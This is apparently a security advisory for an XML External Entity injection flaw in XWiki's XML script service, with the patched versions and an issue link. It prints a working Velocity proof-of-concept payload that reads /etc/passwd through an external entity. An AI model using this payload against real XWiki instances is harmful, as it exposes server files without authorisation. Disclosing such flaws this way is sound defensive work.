It’s possible in a script to access any file accessing to the user running XWiki application server with XML External Entity Injection through the XML script service.
For example:
{{velocity}}
#set($xml=$services.get('xml'))
#set($xxe_payload = "<?xml version='1.0' encoding='UTF-8'?><!DOCTYPE root[<!ENTITY xxe SYSTEM 'file:///etc/passwd' >]><root><foo>&xxe;</foo></root>")
#set($doc=$xml.parse($xxe_payload))
$xml.serialize($doc)
{{/velocity}}
The problem has been patched on versions 12.10.10, 13.4.4 and 13.8RC1.
There’s no easy workaround for fixing this vulnerability other than upgrading and being careful when giving Script rights.
https://jira.xwiki.org/browse/XWIKI-18946
If you have any questions or comments about this advisory: